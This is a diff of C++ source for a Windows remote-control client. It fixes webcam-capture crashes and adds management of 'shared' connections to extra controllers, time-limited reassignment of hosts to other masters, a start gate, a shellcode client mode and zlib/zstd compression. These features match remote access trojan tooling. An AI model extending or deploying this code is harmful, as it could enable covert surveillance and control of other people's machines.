&& mt.cbFormat >= sizeof(VIDEOINFOHEADER)) {
bmi = &((VIDEOINFOHEADER*)mt.pbFormat)->bmiHeader;
} else if (mt.formattype == FORMAT_VideoInfo2 && mt.pbFormat != NULL
&& mt.cbFormat >= sizeof(VIDEOINFOHEADER2)) {
bmi = &((VIDEOINFOHEADER2*)mt.pbFormat)->bmiHeader;
}
if (bmi == NULL || bmi->biWidth <= 0 || bmi->biHeight == 0
|| bmi->biWidth > 16384 || abs(bmi->biHeight) > 16384) {
Mprintf("CCaptureVideo: unsupported media type (formattype=%08lx cbFormat=%lu), abort\n",
(unsigned long)mt.formattype.Data1, (unsigned long)mt.cbFormat);
FreeMediaType(mt);
hResult = E_FAIL;
break;
}
//mCB 是个另外一个类 并且全局变量 有个回调
mCB.m_ulFullWidth = vih->bmiHeader.biWidth;
mCB.m_ulFullHeight = vih->bmiHeader.biHeight;
mCB.m_ulFullWidth = (ULONG)bmi->biWidth;
mCB.m_ulFullHeight = (ULONG)abs(bmi->biHeight);
FreeMediaType(mt);
@@ -120,11 +141,19 @@ HRESULT CCaptureVideo::Open(int iDeviceID,int iPress)
if(FAILED(hResult))
break;
// IMediaControl::Run 在「状态切换尚未完成、稍后异步完成」时会返回 S_FALSE,
// 这时图已经在跑、SampleGrabber 回调随时会到。以前把它原样返回给上层,
// 上层用 == S_OK 判断就误判成「摄像头没打开」并提前中止(8d4c118 引入),
// 而回调随后拿还没分配的 m_BitmapData_Full 做 memcpy —— 写地址 0 崩溃。
hResult = S_OK;
graphRunning = true;
} while (false);
Mprintf("CCaptureVideo Open %s\n", FAILED(hResult) ? "failed" : "succeed");
Mprintf("CCaptureVideo Open %s (hr=%08lX)\n",
graphRunning ? "succeed" : "failed", (unsigned long)hResult);
return hResult;
// 图没跑起来时一律返回失败码(S_FALSE 也是「成功」语义,会让上层误判)
return graphRunning ? S_OK : (FAILED(hResult) ? hResult : E_FAIL);
}
@@ -164,43 +193,40 @@ LPBITMAPINFO CCaptureVideo::GetBmpInfor()
BOOL CCaptureVideo::BindVideoFilter(int deviceId, IBaseFilter **pFilter)
{
if (deviceId < 0)
if (deviceId < 0 || pFilter == NULL)
return FALSE;// enumerate all video capture devices
*pFilter = NULL;
CComPtr<ICreateDevEnum> pCreateDevEnum;
HRESULT hr = CoCreateInstance(CLSID_SystemDeviceEnum, NULL, CLSCTX_INPROC_SERVER,
IID_ICreateDevEnum, (void**)&pCreateDevEnum);
if (hr != NOERROR) {
if (hr != NOERROR)
return FALSE;
}
CComPtr<IEnumMoniker> pEm;
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory,&pEm, 0);
if (hr != NOERROR) {
hr = pCreateDevEnum->CreateClassEnumerator(CLSID_VideoInputDeviceCategory, &pEm, 0);
if (hr != S_OK) // S_FALSE = 该类别下没有任何 DirectShow 设备
return FALSE;
}
pEm->Reset();
ULONG cFetched;
IMoniker *pM;
ULONG cFetched = 0;
IMoniker* pM = NULL;
int index = 0;
while(hr = pEm->Next(1, &pM, &cFetched), hr==S_OK, index <= deviceId) {
IPropertyBag *pBag;
//通过BindToStorage 可以访问该设备的标识集
hr = pM->BindToStorage(0, 0, IID_IPropertyBag, (void **)&pBag);
if(SUCCEEDED(hr)) {
VARIANT var;
var.vt = VT_BSTR;
hr = pBag->Read(L"FriendlyName", &var, NULL);
if (hr == NOERROR) {
if (index == deviceId) {
pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
}
SysFreeString(var.bstrVal);
}
pBag->Release(); //引用计数--
// 原实现写成逗号表达式 `while (hr = Next(...), hr == S_OK, index <= deviceId)`:
// 循环条件实际只看 index,枚举结束后还会继续用未初始化/已释放的 pM 调
// BindToStorage。机器上 VFW 能枚举到摄像头、DirectShow 却一个都没有时必崩。
while (pEm->Next(1, &pM, &cFetched) == S_OK && pM != NULL) {
if (index == deviceId) {
hr = pM->BindToObject(0, 0, IID_IBaseFilter, (void**)pFilter);
pM->Release();
return SUCCEEDED(hr) && *pFilter != NULL;
}
pM->Release();
index++;
pM = NULL;
++index;
}
return TRUE;
Mprintf("CCaptureVideo: no DirectShow video device #%d (enumerated %d)\n", deviceId, index);
return FALSE;
}
+21 -4
View File
@@ -123,10 +123,19 @@ public:
LPBITMAPINFO ConstructBI(ULONG ulbiBitCount)
{
int ColorNum = ulbiBitCount <= 8 ? 1 << ulbiBitCount : 0;
ULONG ulBitmapLength = sizeof(BITMAPINFOHEADER) + (ColorNum * sizeof(RGBQUAD)); //BITMAPINFOHEADER + 调色板的个数
// 宽高来自摄像头驱动,必须挡住 0/超大值:否则 biSizeImage 会溢出成小值,
// 之后每帧 memcpy 都变成堆越界——「换一台机器一开视频就崩」多半出在这里。
if (m_ulFullWidth == 0 || m_ulFullHeight == 0
|| m_ulFullWidth > 16384 || m_ulFullHeight > 16384)
return NULL;
m_BitmapInfor_Full = (BITMAPINFO *) new BYTE[ulBitmapLength];
// 分配「头部 + 完整 256 项调色板」:BITMAPINFO 本身只声明 bmiColors[1]
// (sizeof=44),而按 biBitCount 索引调色板的调用方会读到 44 字节之外。
// 当前只以 24bpp 调用(RGBQUAD 用不到),但按最大调色板预留 1KB 最省心,
// 也顺便修正了旧代码分配 40 字节、SendBitMapInfor 按 44 字节读取的越界。
const size_t biSize = sizeof(BITMAPINFOHEADER) + 256 * sizeof(RGBQUAD);
m_BitmapInfor_Full = (BITMAPINFO*) new BYTE[biSize];
ZeroMemory(m_BitmapInfor_Full, biSize);
BITMAPINFOHEADER* BitmapInforHeader = &(m_BitmapInfor_Full->bmiHeader);
@@ -192,8 +201,16 @@ public:
}
if (bStact==CMD_CAN_COPY) { //未初始化 发送的同差异的一样
// 驱动送来的帧可能比协商格式大(分辨率切换、格式回退、驱动自带填充):
// 不校验长度就 memcpy 会直接把堆写坏,表现就是进程当场崩溃。
// 注意必须返回 S_OK:BufferCB 返回错误可能让 SampleGrabber 停流,
// 那会让「图刚跑起来、缓冲区还没建好」时的第一帧把整条视频流掐死。
if (m_BitmapData_Full == NULL || m_dwSize == 0 || ulBufferSize <= 0
|| (unsigned long)ulBufferSize > m_dwSize) {
return S_OK; // 丢这一帧,保持数据流
}
//将图像数据拷贝的我们的内存
memcpy(m_BitmapData_Full,szBuffer,ulBufferSize); //位图
memcpy(m_BitmapData_Full,szBuffer,(size_t)ulBufferSize); //位图
InterlockedExchange((LPLONG)&bStact,CMD_CAN_SEND); //原子自增可以发送
return S_OK;
+243 -30
View File
@@ -5,9 +5,12 @@
#include "ClientDll.h"
#include "ActivityHistory.h"
#include <common/iniFile.h>
#include "start_gate.h"
#include <common/LANChecker.h>
#include <common/VerifyV2.h>
#include <intrin.h> // for __cpuid, __cpuidex
#include <mutex>
#include <set>
extern "C" {
#include "reg_startup.h"
#include "ServiceWrapper.h"
@@ -83,6 +86,122 @@ ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run, BOOL shared,
return a;
}
// ----- 分享实例登记表 -------------------------------------------------------
//
// Windows 的分享实例是同进程里的一个 ClientApp + 线程。COMMAND_SHARE_CANCEL
// 原来只清 share_list,线程没了引用就再也停不掉,只能等进程重启。这里在起线程
// 前登记指针,取消分享时逐个置 S_CLIENT_EXIT,让分享连接立即断开。
//
// 指针只在 StartClientApp 退出时(先摘除、后 delete)失效;StopSharedInstances
// 在锁内写 g_bExit,与摘除互斥,不会写到已释放的对象。
namespace {
struct SharedInstanceEntry {
ClientApp* app;
SharedInstanceKind kind;
std::string target; // "ip:port",用于同一目标的替换与去重
bool stopping; // 已置 S_CLIENT_EXIT,等待线程注销;不再视为可用连接
};
std::mutex g_sharedMu;
std::vector<SharedInstanceEntry> g_sharedInstances;
}
static void UnregisterSharedInstance(ClientApp* app)
{
std::lock_guard<std::mutex> lk(g_sharedMu);
for (size_t i = 0; i < g_sharedInstances.size(); ) {
if (g_sharedInstances[i].app == app)
g_sharedInstances.erase(g_sharedInstances.begin() + i);
else
++i;
}
}
BOOL StartSharedClient(ClientApp* app, SharedInstanceKind kind, const std::string& targetKey)
{
if (app == nullptr)
return FALSE;
app->m_sharedKind = (int)kind;
{
std::lock_guard<std::mutex> lk(g_sharedMu);
g_sharedInstances.push_back({ app, kind, targetKey, false });
}
HANDLE h = __CreateThread(0, 0, StartClientApp, app, 0, 0);
if (h == NULL) {
UnregisterSharedInstance(app);
delete app;
Mprintf("[ClientApp] failed to start shared instance thread\n");
return FALSE;
}
CloseHandle(h);
return TRUE;
}
int StopSharedInstances(SharedInstanceKind kind)
{
std::lock_guard<std::mutex> lk(g_sharedMu);
int stopped = 0;
for (auto& e : g_sharedInstances) {
if (e.kind == kind) {
// 心跳循环每秒检查一次 g_bExit;断开后 StartClient 返回,线程自行清理。
e.app->SetProcessState(S_CLIENT_EXIT);
e.stopping = true;
++stopped;
}
}
return stopped;
}
bool HasSharedInstanceForTarget(const std::string& targetKey, SharedInstanceKind kind)
{
if (targetKey.empty())
return false;
std::lock_guard<std::mutex> lk(g_sharedMu);
for (auto& e : g_sharedInstances) {
if (e.kind == kind && e.target == targetKey && !e.stopping)
return true;
}
return false;
}
int StopSharedInstancesForTarget(const std::string& targetKey)
{
if (targetKey.empty())
return 0;
int stopped = 0;
{
std::lock_guard<std::mutex> lk(g_sharedMu);
for (auto& e : g_sharedInstances) {
if (e.target == targetKey) {
e.app->SetProcessState(S_CLIENT_EXIT);
e.stopping = true;
++stopped;
}
}
}
if (stopped == 0)
return 0;
// 等旧线程注销后再起新实例:否则同一 clientID 会短暂出现两条连接,在目标主控
// 上互相踢。心跳/已连接场景约 1 秒内退出(EXIT 时已跳过额外的 1 秒等待);
// 卡在建连里的最多等到超时,届时新连接照样被登记,旧线程随后自行消失。
const ULONGLONG deadline = GetTickCount64() + 2000;
for (;;) {
bool alive = false;
{
std::lock_guard<std::mutex> lk(g_sharedMu);
for (auto& e : g_sharedInstances) {
if (e.target == targetKey) {
alive = true;
break;
}
}
}
if (!alive || GetTickCount64() >= deadline)
break;
Sleep(50);
}
return stopped;
}
#if _CONSOLE
#define DLL_API
#else
@@ -146,21 +265,31 @@ DWORD WINAPI StartClientApp(LPVOID param)
Mprintf("[ClientApp: %d] Total [%d] %s:%d \n", app->m_ID, app->GetCount(), settings.ServerIP(), settings.ServerPort());
do {
bExit = S_CLIENT_NORMAL;
// 保留 S_CLIENT_EXIT:取消分享可能在登记之后、线程真正开跑之前就置了它,
// 无条件写回 NORMAL 会吞掉停止请求。其余状态(SERVER_EXIT/UPDATE)照旧
// 复位,否则分享实例会在主控重启后一直空转、再也不重连。
if (bExit != S_CLIENT_EXIT)
bExit = S_CLIENT_NORMAL;
HANDLE hThread = __CreateThread(NULL, 0, StartClient, app, 0, NULL);
WaitForSingleObject(hThread, INFINITE);
SAFE_CLOSE_HANDLE(hThread);
if (IsProcessExit()) // process exit
break;
if (app->m_bShared) {
// 取消分享/转移到期置的是本实例的 EXIT,不是进程退出;此时不必再等,
// 立刻注销,顺便让替换它的新实例尽快开跑。
if (app->m_bShared && app->g_bExit != S_CLIENT_EXIT) {
WAIT_n(!IsProcessExit(), 5, 200);
}
} while (E_RUN == status && S_CLIENT_EXIT != bExit);
}
auto r = app->m_ID;
if (app != &g_MyApp) delete app;
if (app != &g_MyApp) {
// 先摘除登记再释放,StopSharedInstances 才不会碰到悬空指针。
UnregisterSharedInstance(app);
delete app;
}
ClientApp::AddCount(-1);
return r;
@@ -278,6 +407,16 @@ int main(int argc, const char *argv[])
BYTE buf[] = { nCmd };
return RunCommand(buf, 1);
}
{
std::string expiredDate;
const bool isAuthKernel = IsAuthKernel(expiredDate);
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
const char* section = StartGate::ConfigSection(isAuthKernel);
if (!StartGate::AllowStartNow(cfg, section)) {
Mprintf("next=%d\n", StartGate::Get(cfg, section));
return 0;
}
}
InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
g_SETTINGS.installDir[0] ? g_SETTINGS.installDir : "Remote Control Service",
@@ -376,6 +515,19 @@ extern "C" __declspec(dllexport) void TestRun(char* szServerIP, int uPort);
// Auto run main thread after load the DLL
DWORD WINAPI AutoRun(LPVOID param)
{
if (!IsLocalTestClient(g_MyApp.g_Connection)) {
std::string expiredDate;
const bool isAuthKernel = IsAuthKernel(expiredDate);
iniFile cfg(StartGate::ConfigPath(isAuthKernel));
const char* section = StartGate::ConfigSection(isAuthKernel);
if (!StartGate::AllowStartNow(cfg, section)) {
Mprintf("next=%d\n", StartGate::Get(cfg, section));
if (g_MyApp.g_Connection->ClientType() == CLIENT_TYPE_SHELLCODE) {
FreeLibraryAndExitThread((HMODULE)param, -1);
}
return 0;
}
}
do {
TestRun(NULL, 0);
// 旧工作线程还没退完时 TestRun 会立刻返回(此时连日志都不打,见其内部的
@@ -723,6 +875,44 @@ void ConfirmProtoSwitch(iniFile& cfg)
} // namespace
// 「被转移」的主控:注册表里有未过期的 valid_to 就把主连接改到 master:port,
// 并记下到期时刻。KernelManager 的 ASSIGN 分支只写配置 + 断开连接(CONNECT_ADDRESS
// 不参与跨线程同步,不能在收包线程里改),真正的应用在这里:进 StartClient 时一次,
// 之后每轮重连前再看一眼——所以会话中途下发的转移,下一轮就生效,不用等进程重启。
// 返回 true 表示当前处于转移期(assigned)。
static bool ApplyAssignedMaster(iniFile& cfg, CONNECT_ADDRESS& settings, double& valid_to)
{
auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
if (now > valid_to)
return false;
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
if (saved_ip.empty() || saved_port <= 0)
return false;
settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
// 转移时一并下发的传输方式(新服务端才有;老记录没有这个键)。没有记录就
// 沿用烘焙值——这里不能写死 PROTO_TCP,否则老转移记录会把原本 WSS 的
// 客户端改回直连。
auto saved_transport = cfg.GetStr("settings", "master_transport");
if (saved_transport == "0" || saved_transport == "5" || saved_transport == "6")
settings.protoType = (char)atoi(saved_transport.c_str());
// 每轮重连都会走到这里,目标没变就不再打日志——否则一个连不上的转移目标会把
// 客户端日志刷成同一条重复行,排查时反而看不到别的。
static std::string logged;
const std::string cur = saved_ip + ":" + std::to_string(saved_port) + "@" +
std::to_string((long long)valid_to);
if (cur != logged) {
logged = cur;
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(),
saved_port, int(valid_to - now));
}
return true;
}
DWORD WINAPI StartClient(LPVOID lParam)
{
ClientApp& app(*(ClientApp*)lParam);
@@ -732,28 +922,14 @@ DWORD WINAPI StartClient(LPVOID lParam)
double valid_to = 0;
std::string ip = settings.ServerIP();
int port = settings.ServerPort();
// 转移会把主连接改成目标主控的传输方式(master_transport),复原时要一并还原,
// 否则从 WSS 主控转出去的主机会按目标的传输方式去连原主控。
const char linkProto = settings.protoType;
const int linkHeaderEnc = settings.iHeaderEnc;
Mprintf("StartClient begin[%s:%d]\n", ip.c_str(), port);
ActivityHistory::Instance().Start();
if (!app.m_bShared) {
auto now = time(0);
valid_to = atof(cfg.GetStr("settings", "valid_to").c_str());
if (assigned = now <= valid_to) {
auto saved_ip = cfg.GetStr("settings", "master");
auto saved_port = cfg.GetInt("settings", "port");
settings.SetServer(saved_ip.c_str(), saved_port);
auto saved_proto = cfg.GetStr("settings", "master_proto");
if (saved_proto == "0" || saved_proto == "1")
settings.iHeaderEnc = atoi(saved_proto.c_str());
// 转移时一并下发的传输方式(新服务端才有;老记录没有这个键)。没有记录就
// 沿用烘焙值——这里不能写死 PROTO_TCP,否则老转移记录会把原本 WSS 的
// 客户端改回直连。
auto saved_transport = cfg.GetStr("settings", "master_transport");
if (saved_transport == "0" || saved_transport == "5" || saved_transport == "6")
settings.protoType = (char)atoi(saved_transport.c_str());
Mprintf("[StartClient] Client is assigned to %s:%d- %ds left.\n", saved_ip.c_str(), saved_port,
int(valid_to-now));
}
}
if (!app.m_bShared)
assigned = ApplyAssignedMaster(cfg, settings, valid_to);
auto list = app.GetSharedMasterList();
if (list.size() > 1 && settings.runningType == RUNNING_PARALLEL) {
// 并发上线的并行实例只派生一次:主控端重启重连时会再次进入 StartClient,
@@ -776,6 +952,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
hasRun = true;
auto a = cfg.GetStr("settings", "share_list");
auto shareList = a.empty() ? std::vector<std::string>{} : StringToVector(a, '|');
// 旧版本可能为同一目标留下多条记录;启动时按 host:port 去重,否则同一
// clientID 会起两个分享实例,登录时互相踢。
std::set<std::string> startedTargets;
for (int i = 0; i < shareList.size(); ++i) {
auto v = StringToVector(shareList[i], ':', 4);
int proto = (v.size() >= 3 && (v[2] == "0" || v[2] == "1")) ? atoi(v[2].c_str()) : -1;
@@ -785,8 +964,16 @@ DWORD WINAPI StartClient(LPVOID lParam)
|| v[3] == std::to_string(PROTO_WS)
|| v[3] == std::to_string(PROTO_WSS)))
? atoi(v[3].c_str()) : -1;
// 同一目标只起一个实例;旧版本可能留下重复记录。
const std::string targetKey =
(!v[0].empty() && !v[1].empty()) ? v[0] + ":" + v[1] : std::string();
if (!targetKey.empty() && !startedTargets.insert(targetKey).second) {
Mprintf("[StartClient] Duplicate share record for %s skipped\n", targetKey.c_str());
continue;
}
// 同样登记(含目标地址),取消分享时一起停掉;重新分享同一目标时也能替换。
auto a = NewClientStartArg(shareList[i].c_str(), IsSharedRunning, TRUE, proto, transport);
if (nullptr != a) CloseHandle(__CreateThread(0, 0, StartClientApp, a, 0, 0));
StartSharedClient(a, SHARED_KIND_SHARE, targetKey);
Mprintf("[StartClient] Client is shared to %s.\n", shareList[i].c_str());
}
}
@@ -826,7 +1013,34 @@ DWORD WINAPI StartClient(LPVOID lParam)
app.SetThreadRun(TRUE);
ThreadInfo* kb = CreateKB(&settings, bExit, pubIP, isAuthKernel);
static auto _ = RestoreMemDLL(&cfg, &settings, app.g_bExit);
// 转移到期复原。必须与连接状态解耦:旧实现只在心跳循环里判断,转移目标不可达时
// 主连接一直重连失败,根本进不了那个循环,主机就会卡在一个已经过期的地址上,
// 只能等进程重启。复原后置 S_CLIENT_UPDATE:StartClientApp 复位状态并重新进入
// 本函数,注册表里的 valid_to 已过期,不会再把地址改回转移目标。
auto restoreExpiredAssignment = [&]() -> bool {
if (!assigned || time(0) <= valid_to)
return false;
// ip/port/proto 是进 StartClient 时记下的、被转移覆盖之前的链路。
app.SetProcessState(S_CLIENT_UPDATE);
settings.SetServer(ip.c_str(), port);
settings.protoType = linkProto;
settings.iHeaderEnc = linkHeaderEnc;
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
return true;
};
while (app.m_bIsRunning(&app)) {
// 每轮都从注册表对齐一次转移目标:会话中途被转移时,KernelManager 的 ASSIGN
// 分支写的是注册表并断开连接(CONNECT_ADDRESS 不参与跨线程同步,收包线程改不了),
// 新地址只能在这里读出来再连。
// 不能像以前那样「只在 assigned 为假时读一次」——到期复原后 assigned 已经是真,
// 原主控再次发起转移就会被整条漏掉(注册表改了、会话还连在老地址上)。
// 没有有效记录(从未转移 / 已过期)时本函数一个键都不改,代价只是读几个注册表值。
if (!app.m_bShared && ApplyAssignedMaster(cfg, settings, valid_to))
assigned = TRUE;
// 到期判断放在建连之前:目标不可达时下面的 ConnectServer 会一直失败,
// 心跳循环根本进不去,复原不能只依赖那条路径。
if (restoreExpiredAssignment())
break;
ULONGLONG dwTickCount = GetTickCount64();
// 协议切换:按注册表里的入口覆盖建连(分享实例不受主控的切换影响,被分配/转移
// 过主控的入口优先)。
@@ -866,11 +1080,8 @@ DWORD WINAPI StartClient(LPVOID lParam)
// 不放在循环前一次判定:MasterSettings 可能比第一轮心跳晚到。
if (ClientObject->IsConnected() && ClientObject->IsLoginAcked())
ConfirmProtoSwitch(cfg);
if (assigned && time(0) > valid_to) {
app.SetProcessState(S_CLIENT_UPDATE);
settings.SetServer(ip.c_str(), port);
Mprintf("[StartClient] Client is restored to %s:%d\n", ip.c_str(), port);
}
// 连接期间到期也要立刻复原;不可达的情况由外层循环开头兜底。
restoreExpiredAssignment();
} while (ClientObject->IsRunning() && ClientObject->IsConnected() && app.m_bIsRunning(&app));
while (GetTickCount64() - dwTickCount < 5000 && app.m_bIsRunning(&app))
Sleep(200);
@@ -884,7 +1095,9 @@ DWORD WINAPI StartClient(LPVOID lParam)
SAFE_CLOSE_HANDLE(app.g_hEvent);
app.g_hEvent = NULL;
}
if (app.g_bExit == S_CLIENT_EXIT) {
// 只有主实例退出才代表整个客户端要结束了。分享/转移实例被取消或到期时也是
// S_CLIENT_EXIT,若在这里写进程级 g_IsAppExit,会把 FRP 等模块一起打掉。
if (app.g_bExit == S_CLIENT_EXIT && !app.m_bShared) {
CKernelManager::g_IsAppExit = 2;
Sleep(200);
}
+26
View File
@@ -10,6 +10,7 @@
#include <iostream>
#include <fstream>
#include <sstream>
#include <string>
#include <shellapi.h>
#include <corecrt_io.h>
#include "domain_pool.h"
@@ -35,6 +36,7 @@ public:
CONNECT_ADDRESS* g_Connection; // 连接信息
HANDLE g_hEvent; // 全局事件
BOOL m_bShared; // 是否分享
int m_sharedKind; // SharedInstanceKind;0=普通/主实例
IsRunning m_bIsRunning; // 运行状态
unsigned m_ID; // 唯一标识
static int m_nCount; // 计数器
@@ -48,6 +50,7 @@ public:
g_hEvent = NULL;
m_bIsRunning = run;
m_bShared = shared;
m_sharedKind = 0;
m_ID = 0;
g_bThreadExit = TRUE;
}
@@ -139,6 +142,29 @@ public:
// (主控经 nginx 走 WSS、分享目标直连设备端口时就得是 TCP),所以不能一律照抄主控。
ClientApp* NewClientStartArg(const char* remoteAddr, IsRunning run = IsClientAppRunning, BOOL shared=FALSE, int headerEnc = -1, int protoType = -1);
// 分享实例的种类。「转移主机」不再起分享实例(它直接让主连接搬到新主控),
// 所以现在只有一种;保留枚举是为了让 StartSharedClient / StopSharedInstances
// 的签名在后续再引入实例种类时不用改调用点。
enum SharedInstanceKind {
SHARED_KIND_SHARE = 1,
};
// 启动一个分享实例线程并在进程内登记,targetKey 为目标地址 "ip:port"。
// 取消分享需要能立刻找到并停掉这些线程,所以不能再像普通线程那样起完就把句柄丢掉。
BOOL StartSharedClient(ClientApp* app, SharedInstanceKind kind, const std::string& targetKey);
// 停止指定种类的分享实例:逐个置 S_CLIENT_EXIT,心跳/重连循环会在 1 秒内退出。
// 返回发出退出信号的实例数。
int StopSharedInstances(SharedInstanceKind kind);
// 停掉指向 targetKey 的全部分享/转移实例,并等待(最多约 1.5 秒)线程注销。
// 同一目标换传输方式重新分享、或长期分享接管转移临时连接时,必须先收掉旧连接,
// 否则同一 clientID 会有两条连接互相踢。返回发出退出信号的实例数。
int StopSharedInstancesForTarget(const std::string& targetKey);
// targetKey 上是否有指定种类的实例正在运行。
bool HasSharedInstanceForTarget(const std::string& targetKey, SharedInstanceKind kind);
// 启动核心线程,参数为:ClientApp
DWORD WINAPI StartClient(LPVOID lParam);
+132 -31
View File
@@ -28,30 +28,53 @@ inline int WSAGetLastError()
#include <assert.h>
#include <string>
#include <random>
#if USING_ZLIB
#include "zlib/zlib.h"
#define Z_FAILED(p) (Z_OK != (p))
#define Z_SUCCESS(p) (!Z_FAILED(p))
// 线缆压缩:Windows 客户端同时携带 zlib 与 zstd,运行期由 settings\compress 选择
// (默认 zstd,配置为 zlib 时使用 zlib)。POSIX 客户端只链接 libzstd。
#if defined(_WIN32)
# include "zlib/zlib.h"
# define CLIENT_HAS_ZLIB 1
#else
# define CLIENT_HAS_ZLIB 0
#endif
#include "common/zstd_wrapper.h"
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
// ZSTD 库在客户端始终要链接:文件管理器的 ZSTA 归档(common/ZstdArchive.h)、
// common/zstd_wrapper.c 以及上面的版本日志都无条件引用 ZSTD_*,与线缆压缩
// 选择 zlib 还是 zstd 无关。此处在两种模式下都生效。
#ifdef _WIN32
# ifdef _WIN64
# pragma comment(lib, "zstd/zstd_x64.lib")
# else
# pragma comment(lib, "zstd/zstd.lib")
# endif
# include "common/iniFile.h" // CLIENT_PATH + settings\compress
#endif
#define Z_FAILED(p) ZSTD_isError(p)
#define Z_SUCCESS(p) (!Z_FAILED(p))
#define ZSTD_CLEVEL ZSTD_CLEVEL_DEFAULT
#if USING_CTX
#define compress(dest, destLen, source, sourceLen) zstd_compress_auto(m_Cctx, dest, *(destLen), source, sourceLen, 1024*1024)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompressDCtx(m_Dctx, dest, *(destLen), source, sourceLen)
// 读取 settings\compress:默认 zstd,值为 "zlib"(大小写不敏感)时使用 zlib。
// 配置存放在客户端注册表(CLIENT_PATH)。服务端下发 COMMAND_SET_COMPRESS 会写同一个
// 键并触发重连;新连接在构造函数里重新读取,从而无需重启进程即可生效。
static bool ClientCompressUsesZlib()
{
#if defined(_WIN32) && CLIENT_HAS_ZLIB
iniFile cfg(CLIENT_PATH);
std::string mode = cfg.GetStr("settings", "compress", "zstd");
for (size_t i = 0; i < mode.size(); ++i) {
if (mode[i] >= 'A' && mode[i] <= 'Z')
mode[i] = (char)(mode[i] - 'A' + 'a');
}
return mode == "zlib";
#else
#define compress(dest, destLen, source, sourceLen) ZSTD_compress(dest, *(destLen), source, sourceLen, ZSTD_CLEVEL_DEFAULT)
#define uncompress(dest, destLen, source, sourceLen) ZSTD_decompress(dest, *(destLen), source, sourceLen)
#endif
return false;
#endif
}
// 对外暴露同一判定:分享前要确认新建的分享实例会用什么算法(它构造时读的就是
// 这个配置),不能用某条现有连接的 m_useZlib 代替。
bool IOCPClient::ConfiguredWireZlib()
{
return ClientCompressUsesZlib();
}
//////////////////////////////////////////////////////////////////////
// Construction/Destruction
@@ -244,6 +267,11 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
#endif
}
// 线缆压缩模式:本连接构造时按配置读取一次(默认 zstd)。服务端下发
// COMMAND_SET_COMPRESS 后由 SetWireCompression() 原地改写,下一次建连生效。
m_useZlib = ClientCompressUsesZlib();
Mprintf("[IOCPClient] wire compress: %s\n", m_useZlib ? "zlib" : "zstd");
m_main = main;
m_conn = conn; // 保存 CONNECT_ADDRESS 指针。子连接 auth 在每次连接时通过
// m_conn->clientID 现取主连接 ID(同一指针,主连接登录后填好的最新值)。
@@ -296,7 +324,7 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
m_Cctx = ZSTD_createCCtx();
m_Dctx = ZSTD_createDCtx();
auto n = ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
if (Z_FAILED(n)) {
if (ZSTD_isError(n)) {
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
}
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_compressionLevel, ZSTD_CLEVEL);
@@ -307,6 +335,74 @@ IOCPClient::IOCPClient(const State&bExit, bool exit_while_disconnect, int mask,
#endif
}
// 线缆压缩/解压:按本连接构造时选定的 m_useZlib 走 zlib 或 zstd。
// 成功返回 true 并写回实际长度;失败返回 false。
bool IOCPClient::CompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen)
{
if (m_useZlib) {
#if CLIENT_HAS_ZLIB
uLongf n = (uLongf)dstLen;
int r = compress(dst, &n, (const Bytef*)src, (uLong)srcLen);
if (r != Z_OK)
return false;
dstLen = (ULONG)n;
return true;
#else
return false;
#endif
}
#if USING_CTX
{
size_t r = zstd_compress_auto(m_Cctx, dst, (size_t)dstLen, src, (size_t)srcLen, 1024 * 1024);
if (ZSTD_isError(r))
return false;
dstLen = (ULONG)r;
return true;
}
#else
{
size_t r = ZSTD_compress(dst, (size_t)dstLen, src, (size_t)srcLen, ZSTD_CLEVEL_DEFAULT);
if (ZSTD_isError(r))
return false;
dstLen = (ULONG)r;
return true;
}
#endif
}
bool IOCPClient::DecompressData(BYTE* dst, ULONG& dstLen, const void* src, ULONG srcLen)
{
if (m_useZlib) {
#if CLIENT_HAS_ZLIB
uLongf n = (uLongf)dstLen;
int r = uncompress(dst, &n, (const Bytef*)src, (uLong)srcLen);
if (r != Z_OK)
return false;
dstLen = (ULONG)n;
return true;
#else
return false;
#endif
}
#if USING_CTX
{
size_t r = ZSTD_decompressDCtx(m_Dctx, dst, (size_t)dstLen, src, (size_t)srcLen);
if (ZSTD_isError(r))
return false;
dstLen = (ULONG)r;
return true;
}
#else
{
size_t r = ZSTD_decompress(dst, (size_t)dstLen, src, (size_t)srcLen);
if (ZSTD_isError(r))
return false;
dstLen = (ULONG)r;
return true;
}
#endif
}
void IOCPClient::PrepareHeaderEncoderForConnect()
{
if (!m_EncoderType) {
@@ -358,7 +454,7 @@ void IOCPClient::SetMultiThreadCompress(int threadNum)
#if USING_CTX
BOOL failed = TRUE;
if (threadNum > 1) {
failed = Z_FAILED(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
failed = ZSTD_isError(ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, threadNum));
}
if (failed) {
ZSTD_CCtx_setParameter(m_Cctx, ZSTD_c_nbWorkers, 0);
@@ -1007,9 +1103,15 @@ VOID IOCPClient::OnServerReceiving(CBuffer* m_CompressedBuffer, char* szBuffer,
m_CompressedBuffer->ReadBuffer(CompressedBuffer, ulCompressedLength);
m_Encoder->Decode(CompressedBuffer, ulCompressedLength, (LPBYTE)szPacketFlag);
size_t iRet = uncompress(DeCompressedBuffer, &ulOriginalLength, CompressedBuffer, ulCompressedLength);
